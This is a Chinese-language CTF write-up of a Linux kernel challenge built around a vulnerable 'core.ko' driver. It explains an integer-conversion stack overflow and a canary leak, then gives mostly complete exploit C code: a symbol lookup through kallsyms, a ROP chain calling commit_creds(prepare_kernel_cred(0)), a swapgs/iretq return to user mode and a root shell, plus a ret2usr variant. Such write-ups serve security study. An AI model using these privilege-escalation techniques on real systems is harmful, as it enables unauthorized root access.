一、使用Kernel_ROP
1.首先解包,查看init设置:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
   | #注释头
  #!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko
  poweroff -d 120 -f & setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' umount /proc umount /sys
  poweroff -d 0 -f
   | 
 
注意三个地方:
1 2 3 4 5 6 7
   | //注释头
  echo 1 > /proc/sys/kernel/kptr_restrict cat /proc/kallsyms > /tmp/kallsyms ------------------------------------------------------------  insmod /core.ko  -------------------------------------------------------------  setsid /bin/cttyhack setuidgid 1000 /bin/sh
   | 
 
(1)把/proc/kallsysm拷贝到tmp文件夹下一份,而kallsysm中保存了加载内核之后几乎所有的函数调用:


由于被kptr_restrict设为 1,这样就不能通过 /proc/kallsyms查看函数地址了,但是这里把kallsysm拷贝到了tmp文件夹下,那么就可以从tmp文件夹下的kallsysm找到所有需要的地址,包括gadget。
(2)insmod /core.ko,挂载了目录下的core.ko驱动程序,通常这个驱动程序就是漏洞的所在点,用IDA打开分析。
(3)setsid /bin/cttyhack setuidgid 1000 /bin/sh,这个就是设置用户权限了,1000为权限ID,如果设置为0就是root权限了,为了调试,可以先设置成0方便点。
2.再看下start.sh启动qemu的设置:
1 2 3 4 5 6 7 8 9 10
   | #注释头
  qemu-system-x86_64 \ -m 64M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \
   | 
 
可以看到加载了core.ko驱动,并且开启了kaslr。
3.然后分析下core.ko代码,漏洞点在core_copy_func函数和core_write函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
   | #注释头
  #core_write函数: if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )
 
  #core_copy_func函数: __int64 v2; // [rsp+0h] [rbp-50h] ------------------------------------------------------- if ( a1 > 63 ) {    printk(&unk_2A1);    result = 0xFFFFFFFFLL; } else {     qmemcpy(&v2, &name, (unsigned __int16)a1); }
   | 
 
(1)name是全局变量,core_write函数从用户空间拷贝了v3长度到name中,而core_write函数可以通过exp中调用write,write(core_fd, data, 0x800);打开该驱动从而调用驱动中的core_write函数,将我们的data写入到name中。
(2)之后由于core_copy_func函数可以通过ioctl函数直接传参调用,所以其中的a1受到我们控制,然后对a1的检查又只有一个if(a1>63),存在整数转换的漏洞,也就是如果a1为负数,就能够通过if语句,那么通过qmemcpy(&v2, &name, (unsigned __int16)a1);函数的隐形转换,就可以从name拷贝很大的数据到v2上,而v2在内核栈上,那么就可以对内核栈进行栈溢出。
4.可以构造rop链尝试了,但是这里还有一个canary,Leak漏洞在core_read和ioctl函数上:
1 2 3 4 5 6 7 8 9 10 11 12
   | #注释头
  #core_read函数: __int64 v5; -------------------------------------------------------- result = copy_to_user(v1, (char *)&v5 + off, 64LL);
  #ioctl函数: case 0x6677889C:     printk(&unk_2CD);     off = v3;     break;
   | 
 
off是全局变量,可以通过调用ioctl函数来设置。v5是core_read内核函数栈上的变量,可以使得off适当大一些,从而泄露出canary。
5.现在尝试构造exp:
(1)首先找地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
   | //注释头
  //找到内核加载基地址vmlinux_base和prepare_kernel_cred函数、commit_creds函数地址 size_t find_symbols() {     FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");     if(kallsyms_fd < 0)     {         puts("[*]open kallsyms error!");         exit(0);     }
      char buf[0x30] = {0};     while(fgets(buf, 0x30, kallsyms_fd))     {         if(commit_creds & prepare_kernel_cred)             return 0;
          if(strstr(buf, "commit_creds") && !commit_creds)         {             /* puts(buf); */             char hex[20] = {0};             strncpy(hex, buf, 16);             /* printf("hex: %s\n", hex); */             sscanf(hex, "%llx", &commit_creds);             printf("commit_creds addr: %p\n", commit_creds);             vmlinux_base = commit_creds - 0x9c8e0;             printf("vmlinux_base addr: %p\n", vmlinux_base);                      }
          if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)         {             /* puts(buf); */             char hex[20] = {0};             strncpy(hex, buf, 16);             sscanf(hex, "%llx", &prepare_kernel_cred);             printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);             vmlinux_base = prepare_kernel_cred - 0x9cce0;             /* printf("vmlinux_base addr: %p\n", vmlinux_base); */         }     }
      if(!(prepare_kernel_cred & commit_creds))     {         puts("[*]Error!");         exit(0);     } }
   | 
 
这里的0x9c8e0和0x9cce0都是通过ROPgadget查找vmlinux找出来的,不过找到的地址是相对偏移加上了0xffffffff81000000,所以这里需要减去得到相对偏移。

(2)然后泄露canary:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
   | //注释头
  void core_read(int fd, char *buf) {     puts("[*]read to buf.");     ioctl(fd, 0x6677889B, buf); } ---------------------------------------------------------------------- void set_off(int fd, long long idx) {     printf("[*]set off to %ld\n", idx);     ioctl(fd, 0x6677889C, idx); } --------------------------------------------------------------------- set_off(fd, 0x40);
  char buf[0x40] = {0}; core_read(fd, buf); size_t canary = ((size_t *)buf)[0]; printf("[+]canary: %p\n", canary); //这里fd为int fd = open("/proc/core", 2);
   | 
 
(3)构造rop链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
   | //注释头
  ssize_t offset = vmlinux_base - 0xffffffff81000000; size_t rop[0x1000] = {0}; for(int i = 0; i < 10; i++) {     rop[i] = canary; } rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret rop[i++] = 0; rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
  rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; rop[i++] = commit_creds;
  rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret rop[i++] = 0;
  rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
  rop[i++] = (size_t)spawn_shell; // rip
  rop[i++] = user_cs; // cs rop[i++] = user_rflags; // rflags rop[i++] = user_sp; // rsp rop[i++] = user_ss;
   | 
 
这里rop链构造一般分为
①覆盖返回地址,执行commit_creds(prepare_kernel_cred(0) )函数,提权,即:
1 2 3 4 5 6 7 8 9 10
   | //注释头
  rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret rop[i++] = 0; rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
  rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; rop[i++] = commit_creds;
   | 
 
②通过swapgs和iretq返回用户态:
1 2 3 4 5 6
   | //注释头
  rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret rop[i++] = 0;
  rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
   | 
 
▲这里的swapgs和iretq最好用objdump -d vmlinux > gadget来保存寻找,如果用ROPgadget或者ropper可能不识别,从而无法找到。
③着陆开shell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
   | //注释头
 
  void spawn_shell() {     if(!getuid())     { 	system("/bin/sh");     }     else     { 	puts("[*]spawn shell error!");     }     exit(0); } ---------------------------------------------------- rop[i++] = (size_t)spawn_shell; // rip
  rop[i++] = user_cs; // cs rop[i++] = user_rflags; // rflags rop[i++] = user_sp; // rsp rop[i++] = user_ss; // ss
   | 
 
(4)最后输入rop链,提权执行:
1 2 3 4 5 6 7 8 9 10
   | //注释头
  void core_copy_func(int fd, long long size) {     printf("[*]copy from user with size: %ld\n", size);     ioctl(fd, 0x6677889A, size); } -------------------------------------------------------------- write(fd, rop, 0x800); core_copy_func(fd, 0xffffffffffff0000 | (0x100));
   | 
 
▲需要注意的是在程序进入内核态之前需要保存下用户态的参数,不然之后没办法返回用户态开shell:
1 2 3 4 5 6 7 8 9 10 11
   | size_t user_cs, user_ss, user_rflags, user_sp; void save_status() {     __asm__("mov user_cs, cs;"         "mov user_ss, ss;"         "mov user_sp, rsp;"         "pushf;"         "pop user_rflags;"         );     puts("[*]status has been saved."); }
   | 
 
二、使用Ret2usr技术:
1.在这道题中与ROP差不多,唯一的区别在于提权的时候:
(1)ROP技术中,利用思想和常规pwn题一样,rdi传参之后寻找Gadget来调用commit_creds(prepare_kernel_cred(0))。
(2)Ret2Usr技术中,由于我们是直接运行我们的二进制文件exp,所以在exp文件内声明定义的函数会被加载到exp的进程中,可以直接在exp中调用,不需要rop。但是这里如果直接调用system(“/bin/sh”)没什么用,权限仍然不是root,还是需要调用commit_creds(prepare_kernel_cred(0))提权才行,所以这里就可以利用泄露出来的地址直接构造该函数调用即可,而不用再rop来调用了。
就相当于将以下代码替换一下:
1 2 3 4 5 6 7 8 9 10
   | //注释头
  rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret rop[i++] = 0; rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
  rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; rop[i++] = commit_creds;
   | 
 
替换成:
1 2 3 4 5 6 7 8 9 10 11 12
   | //注释头
  rop[i++] = (size_t)get_root; ------------------------------------------------ //函数定义为: void get_root() {     char* (*pkc)(int) = prepare_kernel_cred;     void (*cc)(char*) = commit_creds;     (*cc)((*pkc)(0));     /* puts("[*] root now."); */ }
   | 
 
最开始我想为什么不直接运行调用,后面才知道是特权模式问题。如果直接调用,就会出现访问错误,因为我们构造的函数的函数地址是在内核空间中,而用户空间是无法运行内核空间的函数。所以需要调用write(fd, rop, 0x30 * 8);进入到内核空间,获得特权模式下ring0的权限,然后运行用户空间的get_root()函数,再进入到内核空间寻找对于的commit_creds函数和prepare_kernel_cred(0)结构体,从而提权。
参考资料:
ctfwiki